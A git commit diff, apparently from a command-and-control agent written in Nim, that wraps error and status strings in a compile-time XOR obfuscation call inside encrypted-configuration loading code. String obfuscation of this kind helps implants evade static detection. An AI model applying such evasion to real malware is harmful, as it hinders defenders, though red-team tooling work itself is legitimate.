Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(aesKey)
if gmac != authTag:
raise newException(CatchableError, "Invalid authentication tag.")
raise newException(CatchableError, protect("Invalid authentication tag."))
# Parse decrypted profile configuration
unpacker = Unpacker.init(Bytes.toString(decData))
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey)
echo "[+] Profile configuration deserialized."
echo protect("[+] Profile configuration deserialized.")
return ctx
proc init*(T: type AgentCtx): AgentCtx =
try:
when not defined(CONFIGURATION):
raise newException(CatchableError, "Missing agent configuration.")
raise newException(CatchableError, protect("Missing agent configuration."))
return deserializeConfiguration(CONFIGURATION)